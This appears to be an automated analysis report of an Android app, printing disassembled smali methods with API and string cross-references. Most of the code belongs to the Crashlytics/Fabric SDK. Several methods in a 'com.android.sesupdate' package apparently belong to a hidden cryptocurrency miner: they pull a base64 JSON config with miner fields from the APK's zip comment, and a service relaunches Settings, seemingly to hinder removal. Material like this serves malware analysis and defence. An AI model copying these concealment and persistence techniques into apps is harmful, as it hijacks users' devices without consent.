                          44invoke-virtual {v6, v7}, Lcom/android/sesupdate/ApkUtils$sendTask;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
                          45goto_3a: return-void
                          46catch_3b: move-exception v4
                          48invoke-virtual {v4}, Ljava/lang/Exception;->printStackTrace()V
                          49goto/16 :goto_3a
                          Cross References
                          APIs
                          • java.util.concurrent.atomic.AtomicReference.get
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.util.concurrent.ScheduledExecutorService.scheduleAtFixedRate
                          • java.util.concurrent.atomic.AtomicReference.set
                          Strings
                          • Scheduling time based file roll over every
                          • seconds
                          • Failed to schedule time based file roll over
                          Position Instruction Meta Information
                          0.param p1, "initialDelaySecs" # J
                          1.param p3, "frequencySecs" # J
                          2.prologue
                          4iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          6invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicReference;->get()Ljava/lang/Object;
                          7move-result-object v0
                          8if-nez v0, :cond_40
                          9const/4 v8, 0x1
                          10goto_9: if-eqz v8, :cond_3f
                          11new-instance v1, Lio/fabric/sdk/android/services/events/TimeBasedFileRollOverRunnable;
                          13iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          15invoke-direct {v1, v0, p0}, Lio/fabric/sdk/android/services/events/TimeBasedFileRollOverRunnable;-><init>(Landroid/content/Context;Lio/fabric/sdk/android/services/events/FileRollOverManager;)V
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          18new-instance v2, Ljava/lang/StringBuilder;
                          20invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          22const-string v3, "Scheduling time based file roll over every "
                          24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          25move-result-object v2
                          27invoke-virtual {v2, p3, p4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                          28move-result-object v2
                          30const-string v3, " seconds"
                          32invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          33move-result-object v2
                          35invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          36move-result-object v2
                          38invoke-static {v0, v2}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlled(Landroid/content/Context;Ljava/lang/String;)V
                          39try_start_30:
                          40iget-object v9, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          42iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->executorService:Ljava/util/concurrent/ScheduledExecutorService;
                          44sget-object v6, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit;
                          45move-wide v2, p1
                          46move-wide v4, p3
                          48invoke-interface/range {v0 .. v6}, Ljava/util/concurrent/ScheduledExecutorService;->scheduleAtFixedRate(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
                          49move-result-object v0
                          51invoke-virtual {v9, v0}, Ljava/util/concurrent/atomic/AtomicReference;->set(Ljava/lang/Object;)V
                          52cond_3f: return-void
                          53cond_40: const/4 v8, 0x0
                          54goto/16 :goto_9
                          55catch_42: move-exception v7
                          57iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          59const-string v2, "Failed to schedule time based file roll over"
                          61invoke-static {v0, v2, v7}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlledError(Landroid/content/Context;Ljava/lang/String;Ljava/lang/Throwable;)V
                          62goto/16 :goto_3f
                          Cross References
                          APIs
                          • java.util.HashMap.<init>
                          • android.os.SystemClock.elapsedRealtime
                          • java.util.Map.putAll
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • android.os.SystemClock.elapsedRealtime
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Fabric
                          • finish scanning in
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"()",
                          3"Ljava/util/Map",
                          4"<",
                          5"Ljava/lang/String;",
                          6"Lio/fabric/sdk/android/KitInfo;",
                          7">;"
                          8}
                          9.end annotation
                          10.annotation system Ldalvik/annotation/Throws;
                          11value = {
                          12Ljava/lang/Exception;
                          13}
                          14.end annotation
                          15.prologue
                          16new-instance v0, Ljava/util/HashMap;
                          18invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                          20invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
                          21move-result-wide v2
                          23invoke-direct {p0}, Lio/fabric/sdk/android/FabricKitsFinder;->findImplicitKits()Ljava/util/Map;
                          24move-result-object v1
                          26invoke-interface {v0, v1}, Ljava/util/Map;->putAll(Ljava/util/Map;)V
                          28invoke-direct {p0}, Lio/fabric/sdk/android/FabricKitsFinder;->findRegisteredKits()Ljava/util/Map;
                          29move-result-object v1
                          31invoke-interface {v0, v1}, Ljava/util/Map;->putAll(Ljava/util/Map;)V
                          33invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          34move-result-object v1
                          36const-string v4, "Fabric"
                          37new-instance v5, Ljava/lang/StringBuilder;
                          39invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                          41const-string v6, "finish scanning in "
                          43invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          44move-result-object v5
                          46invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
                          47move-result-wide v6
                          48sub-long/2addr v6, v2
                          50invoke-virtual {v5, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                          51move-result-object v5
                          53invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          54move-result-object v5
                          56invoke-interface {v1, v4, v5}, Lio/fabric/sdk/android/Logger;->v(Ljava/lang/String;Ljava/lang/String;)V
                          57return-object v0
                          APIs
                          • android.content.Context.getPackageManager
                          • android.content.Context.getPackageName
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.util.Base64.decode
                          • java.lang.String.<init>
                          • org.json.JSONObject.<init>
                          • org.json.JSONObject.getString
                          • java.lang.Exception.printStackTrace
                          Strings
                          • UTF-8
                          • site_id
                          • null
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v0, 0x0
                          3try_start_1:
                          4invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          5move-result-object v6
                          7invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          8move-result-object v7
                          9const/4 v8, 0x0
                          11invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          12move-result-object v0
                          14iget-object v6, v0, Landroid/content/pm/ApplicationInfo;->publicSourceDir:Ljava/lang/String;
                          16invoke-virtual {p0, v6}, Lcom/android/sesupdate/ApkUtils;->extractZipComment(Ljava/lang/String;)Ljava/lang/String;
                          17move-result-object v1
                          18const/4 v3, 0x0
                          19const/4 v6, 0x0
                          21invoke-static {v1, v6}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
                          22move-result-object v2
                          23new-instance v3, Ljava/lang/String;
                          25const-string v6, "UTF-8"
                          27invoke-direct {v3, v2, v6}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
                          28new-instance v5, Lorg/json/JSONObject;
                          30invoke-direct {v5, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                          32const-string v6, "site_id"
                          34invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                          35try_end_2b: move-result-object v6
                          36goto_2c: return-object v6
                          37catch_2d: move-exception v4
                          39invoke-virtual {v4}, Ljava/lang/Exception;->printStackTrace()V
                          41const-string v6, "null"
                          42goto/16 :goto_2c
                          APIs
                          • android.content.Context.getPackageManager
                          • android.content.Context.getPackageName
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.util.Base64.decode
                          • java.lang.String.<init>
                          • org.json.JSONObject.<init>
                          • org.json.JSONObject.getString
                          • java.lang.Exception.printStackTrace
                          Strings
                          • UTF-8
                          • wrk
                          • null
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v0, 0x0
                          3try_start_1:
                          4invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          5move-result-object v6
                          7invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          8move-result-object v7
                          9const/4 v8, 0x0
                          11invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          12move-result-object v0
                          14iget-object v6, v0, Landroid/content/pm/ApplicationInfo;->publicSourceDir:Ljava/lang/String;
                          16invoke-virtual {p0, v6}, Lcom/android/sesupdate/ApkUtils;->extractZipComment(Ljava/lang/String;)Ljava/lang/String;
                          17move-result-object v1
                          18const/4 v3, 0x0
                          19const/4 v6, 0x0
                          21invoke-static {v1, v6}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
                          22move-result-object v2
                          23new-instance v3, Ljava/lang/String;
                          25const-string v6, "UTF-8"
                          27invoke-direct {v3, v2, v6}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
                          28new-instance v5, Lorg/json/JSONObject;
                          30invoke-direct {v5, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                          32const-string v6, "wrk"
                          34invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                          35try_end_2b: move-result-object v6
                          36goto_2c: return-object v6
                          37catch_2d: move-exception v4
                          39invoke-virtual {v4}, Ljava/lang/Exception;->printStackTrace()V
                          41const-string v6, "null"
                          42goto/16 :goto_2c
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • {eventName:\"
                          • , customAttributes:
                          • }
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Ljava/lang/StringBuilder;
                          3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          5const-string v1, "{eventName:\""
                          7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          8move-result-object v0
                          10iget-object v1, p0, Lcom/crashlytics/android/answers/CustomEvent;->eventName:Ljava/lang/String;
                          12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          13move-result-object v0
                          14const/16 v1, 0x22
                          16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                          17move-result-object v0
                          19const-string v1, ", customAttributes:"
                          21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          22move-result-object v0
                          24iget-object v1, p0, Lcom/crashlytics/android/answers/CustomEvent;->customAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          27move-result-object v0
                          29const-string v1, "}"
                          31invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          32move-result-object v0
                          34invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          35move-result-object v0
                          36return-object v0
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.String.equals
                          Strings
                          • Answers
                          • Firebase analytics logging was enabled, but not available...
                          • Fabric event was not mappable to Firebase event:
                          • levelEnd
                          • post_score
                          Position Instruction Meta Information
                          0.param p1, "sessionEvent" # Lcom/crashlytics/android/answers/SessionEvent;
                          1.prologue
                          3invoke-virtual {p0}, Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;->getFirebaseAnalytics()Lcom/crashlytics/android/answers/EventLogger;
                          4move-result-object v0
                          5if-nez v0, :cond_12
                          7invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          8move-result-object v2
                          10const-string v3, "Answers"
                          12const-string v4, "Firebase analytics logging was enabled, but not available..."
                          14invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          15goto_11: return-void
                          16cond_12:
                          17iget-object v2, p0, Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;->eventMapper:Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;
                          19invoke-virtual {v2, p1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapEvent(Lcom/crashlytics/android/answers/SessionEvent;)Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;
                          20move-result-object v1
                          21if-nez v1, :cond_37
                          23invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          24move-result-object v2
                          26const-string v3, "Answers"
                          27new-instance v4, Ljava/lang/StringBuilder;
                          29invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                          31const-string v5, "Fabric event was not mappable to Firebase event: "
                          33invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          34move-result-object v4
                          36invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          37move-result-object v4
                          39invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          40move-result-object v4
                          42invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          43goto/16 :goto_11
                          44cond_37:
                          45invoke-virtual {v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;->getEventName()Ljava/lang/String;
                          46move-result-object v2
                          48invoke-virtual {v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;->getEventParams()Landroid/os/Bundle;
                          49move-result-object v3
                          51invoke-interface {v0, v2, v3}, Lcom/crashlytics/android/answers/EventLogger;->logEvent(Ljava/lang/String;Landroid/os/Bundle;)V
                          53const-string v2, "levelEnd"
                          55iget-object v3, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          57invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          58move-result v2
                          59if-eqz v2, :cond_11
                          61const-string v2, "post_score"
                          63invoke-virtual {v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;->getEventParams()Landroid/os/Bundle;
                          64move-result-object v3
                          66invoke-interface {v0, v2, v3}, Lcom/crashlytics/android/answers/EventLogger;->logEvent(Ljava/lang/String;Landroid/os/Bundle;)V
                          67goto/16 :goto_11
                          APIs
                          • android.content.Context.getPackageManager
                          • android.content.Context.getPackageName
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.util.Base64.decode
                          • java.lang.String.<init>
                          • org.json.JSONObject.<init>
                          • org.json.JSONObject.getString
                          • java.lang.Exception.printStackTrace
                          Strings
                          • UTF-8
                          • w
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v0, 0x0
                          3try_start_1:
                          4invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          5move-result-object v6
                          7invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          8move-result-object v7
                          9const/4 v8, 0x0
                          11invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          12move-result-object v0
                          14iget-object v6, v0, Landroid/content/pm/ApplicationInfo;->publicSourceDir:Ljava/lang/String;
                          16invoke-virtual {p0, v6}, Lcom/android/sesupdate/ApkUtils;->extractZipComment(Ljava/lang/String;)Ljava/lang/String;
                          17move-result-object v1
                          18const/4 v3, 0x0
                          19const/4 v6, 0x0
                          21invoke-static {v1, v6}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
                          22move-result-object v2
                          23new-instance v3, Ljava/lang/String;
                          25const-string v6, "UTF-8"
                          27invoke-direct {v3, v2, v6}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
                          28new-instance v5, Lorg/json/JSONObject;
                          30invoke-direct {v5, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                          32const-string v6, "w"
                          34invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                          35try_end_2b: move-result-object v6
                          36goto_2c: return-object v6
                          37catch_2d: move-exception v4
                          39invoke-virtual {v4}, Ljava/lang/Exception;->printStackTrace()V
                          41sget-object v6, Lcom/android/sesupdate/Constants;->miningUser:Ljava/lang/String;
                          42goto/16 :goto_2c
                          Cross References
                          APIs
                          • java.util.HashMap.<init>
                          • java.lang.Class.forName
                          • java.util.Map.put
                          Strings
                          • com.google.android.gms.ads.AdView
                          • com.google.firebase.firebase-ads
                          • 0.0.0
                          • binary
                          • Fabric
                          • Found kit: com.google.firebase.firebase-ads
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"()",
                          3"Ljava/util/Map",
                          4"<",
                          5"Ljava/lang/String;",
                          6"Lio/fabric/sdk/android/KitInfo;",
                          7">;"
                          8}
                          9.end annotation
                          10.prologue
                          11new-instance v1, Ljava/util/HashMap;
                          13invoke-direct {v1}, Ljava/util/HashMap;-><init>()V
                          14try_start_5:
                          15const-string v2, "com.google.android.gms.ads.AdView"
                          17invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                          18new-instance v0, Lio/fabric/sdk/android/KitInfo;
                          20const-string v2, "com.google.firebase.firebase-ads"
                          22const-string v3, "0.0.0"
                          24const-string v4, "binary"
                          26invoke-direct {v0, v2, v3, v4}, Lio/fabric/sdk/android/KitInfo;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                          28invoke-virtual {v0}, Lio/fabric/sdk/android/KitInfo;->getIdentifier()Ljava/lang/String;
                          29move-result-object v2
                          31invoke-interface {v1, v2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                          33invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          34move-result-object v2
                          36const-string v3, "Fabric"
                          38const-string v4, "Found kit: com.google.firebase.firebase-ads"
                          40invoke-interface {v2, v3, v4}, Lio/fabric/sdk/android/Logger;->v(Ljava/lang/String;Ljava/lang/String;)V
                          41try_end_27: return-object v1
                          42catch_28: move-exception v2
                          43goto/16 :goto_27
                          APIs
                          • android.os.Handler.<init>
                          • android.content.Intent.<init>
                          • android.content.Intent.setClassName
                          • android.content.Intent.addFlags
                          • com.android.sesupdate.services.DisableService.startActivity
                          • com.android.sesupdate.services.DisableService.a
                          • android.os.Handler.postDelayed
                          Strings
                          • com.android.settings
                          • com.android.settings.Settings
                          Position Instruction Meta Information
                          0.param p1, "paramIntent" # Landroid/content/Intent;
                          1.param p2, "paramInt1" # I
                          2.param p3, "paramInt2" # I
                          3.prologue
                          4new-instance v1, Landroid/os/Handler;
                          6invoke-direct {v1}, Landroid/os/Handler;-><init>()V
                          7iput-object v1, p0, Lcom/android/sesupdate/services/DisableService;->a:Landroid/os/Handler;
                          8new-instance v0, Landroid/content/Intent;
                          10invoke-direct {v0}, Landroid/content/Intent;-><init>()V
                          12const-string v1, "com.android.settings"
                          14const-string v2, "com.android.settings.Settings"
                          16invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                          17const/high16 v1, 0x14810000
                          19invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                          21invoke-virtual {p0, v0}, Lcom/android/sesupdate/services/DisableService;->startActivity(Landroid/content/Intent;)V
                          23invoke-virtual {p0}, Lcom/android/sesupdate/services/DisableService;->a()V
                          25iget-object v1, p0, Lcom/android/sesupdate/services/DisableService;->a:Landroid/os/Handler;
                          26new-instance v2, Lcom/android/sesupdate/services/DisableService$1;
                          28invoke-direct {v2, p0}, Lcom/android/sesupdate/services/DisableService$1;-><init>(Lcom/android/sesupdate/services/DisableService;)V
                          29const-wide/16 v4, 0xbb8
                          31invoke-virtual {v1, v2, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                          32const/4 v1, 0x2
                          33return v1
                          Cross References
                          APIs
                          • com.crashlytics.android.answers.SessionEvent$Type.equals
                          • java.util.Map.get
                          • java.lang.Boolean.parseBoolean
                          • android.os.Bundle.<init>
                          Strings
                          • success
                          • Answers
                          • Logging event into firebase...
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/SessionEvent;
                          1.prologue
                          2const/4 v6, 0x1
                          3const/4 v7, 0x0
                          5sget-object v8, Lcom/crashlytics/android/answers/SessionEvent$Type;->CUSTOM:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          7iget-object v9, p1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          9invoke-virtual {v8, v9}, Lcom/crashlytics/android/answers/SessionEvent$Type;->equals(Ljava/lang/Object;)Z
                          10move-result v8
                          11if-eqz v8, :cond_26
                          13iget-object v8, p1, Lcom/crashlytics/android/answers/SessionEvent;->customType:Ljava/lang/String;
                          14if-eqz v8, :cond_26
                          15move v2, v6
                          16goto_11:
                          17sget-object v8, Lcom/crashlytics/android/answers/SessionEvent$Type;->PREDEFINED:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          19iget-object v9, p1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          21invoke-virtual {v8, v9}, Lcom/crashlytics/android/answers/SessionEvent$Type;->equals(Ljava/lang/Object;)Z
                          22move-result v8
                          23if-eqz v8, :cond_28
                          25iget-object v8, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          26if-eqz v8, :cond_28
                          27move v3, v6
                          28goto_20: if-nez v2, :cond_2a
                          29if-nez v3, :cond_2a
                          30const/4 v6, 0x0
                          31goto_25: return-object v6
                          32cond_26: move v2, v7
                          33goto/16 :goto_11
                          34cond_28: move v3, v7
                          35goto/16 :goto_20
                          36cond_2a: if-eqz v3, :cond_5c
                          38invoke-direct {p0, p1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapPredefinedEvent(Lcom/crashlytics/android/answers/SessionEvent;)Landroid/os/Bundle;
                          39move-result-object v0
                          40goto_30: if-eqz v3, :cond_6d
                          42iget-object v8, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          44const-string v9, "success"
                          46invoke-interface {v8, v9}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          47move-result-object v4
                          48check-cast v4, Ljava/lang/String;
                          49if-eqz v4, :cond_6b
                          51invoke-static {v4}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
                          52move-result v8
                          53if-nez v8, :cond_6b
                          54move v5, v6
                          55goto_45:
                          56iget-object v6, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          58invoke-direct {p0, v6, v5}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapPredefinedEventName(Ljava/lang/String;Z)Ljava/lang/String;
                          59move-result-object v1
                          60goto_4b:
                          61invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          62move-result-object v6
                          64const-string v7, "Answers"
                          66const-string v8, "Logging event into firebase..."
                          68invoke-interface {v6, v7, v8}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          69new-instance v6, Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;
                          71invoke-direct {v6, v1, v0}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;-><init>(Ljava/lang/String;Landroid/os/Bundle;)V
                          72goto/16 :goto_25
                          73cond_5c: new-instance v0, Landroid/os/Bundle;
                          75invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
                          77iget-object v8, p1, Lcom/crashlytics/android/answers/SessionEvent;->customAttributes:Ljava/util/Map;
                          78if-eqz v8, :cond_30
                          80iget-object v8, p1, Lcom/crashlytics/android/answers/SessionEvent;->customAttributes:Ljava/util/Map;
                          82invoke-direct {p0, v0, v8}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapCustomEventAttributes(Landroid/os/Bundle;Ljava/util/Map;)V
                          83goto/16 :goto_30
                          84cond_6b: move v5, v7
                          85goto/16 :goto_45
                          86cond_6d:
                          87iget-object v6, p1, Lcom/crashlytics/android/answers/SessionEvent;->customType:Ljava/lang/String;
                          89invoke-direct {p0, v6}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapCustomEventName(Ljava/lang/String;)Ljava/lang/String;
                          90move-result-object v1
                          91goto/16 :goto_4b
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Answers
                          • Method
                          • is not supported when using Crashlytics through Firebase.
                          Position Instruction Meta Information
                          0.param p1, "method" # Ljava/lang/String;
                          1.prologue
                          3invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          4move-result-object v0
                          6const-string v1, "Answers"
                          7new-instance v2, Ljava/lang/StringBuilder;
                          9invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          11const-string v3, "Method "
                          13invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          14move-result-object v2
                          16invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          17move-result-object v2
                          19const-string v3, " is not supported when using Crashlytics through Firebase."
                          21invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          22move-result-object v2
                          24invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          25move-result-object v2
                          27invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->w(Ljava/lang/String;Ljava/lang/String;)V
                          28return-void
                          Cross References
                          APIs
                          • java.lang.String.equals
                          Strings
                          • new
                          • Fabric
                          • Failed to create app with Crashlytics service.
                          • configured
                          • Server says an update is required - forcing a full App update.
                          Position Instruction Meta Information
                          0.param p1, "iconHash" # Ljava/lang/String;
                          1.param p2, "appSettings" # Lio/fabric/sdk/android/services/settings/AppSettingsData;
                          2.annotation system Ldalvik/annotation/Signature;
                          3value = {
                          4"(",
                          5"Ljava/lang/String;",
                          6"Lio/fabric/sdk/android/services/settings/AppSettingsData;",
                          7"Ljava/util/Collection",
                          8"<",
                          9"Lio/fabric/sdk/android/KitInfo;",
                          10">;)Z"
                          11}
                          12.end annotation
                          13.prologue
                          14const/4 v0, 0x1
                          16const-string v1, "new"
                          18iget-object v2, p2, Lio/fabric/sdk/android/services/settings/AppSettingsData;->status:Ljava/lang/String;
                          20invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          21move-result v1
                          22if-eqz v1, :cond_28
                          24invoke-direct {p0, p1, p2, p3}, Lio/fabric/sdk/android/Onboarding;->performCreateApp(Ljava/lang/String;Lio/fabric/sdk/android/services/settings/AppSettingsData;Ljava/util/Collection;)Z
                          25move-result v1
                          26if-eqz v1, :cond_1a
                          28invoke-static {}, Lio/fabric/sdk/android/services/settings/Settings;->getInstance()Lio/fabric/sdk/android/services/settings/Settings;
                          29move-result-object v1
                          31invoke-virtual {v1}, Lio/fabric/sdk/android/services/settings/Settings;->loadSettingsSkippingCache()Z
                          32move-result v0
                          33cond_19: return v0
                          34cond_1a:
                          35invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          36move-result-object v1
                          38const-string v2, "Fabric"
                          40const-string v3, "Failed to create app with Crashlytics service."
                          41const/4 v4, 0x0
                          43invoke-interface {v1, v2, v3, v4}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          44const/4 v0, 0x0
                          45goto/16 :goto_19
                          46cond_28:
                          47const-string v1, "configured"
                          49iget-object v2, p2, Lio/fabric/sdk/android/services/settings/AppSettingsData;->status:Ljava/lang/String;
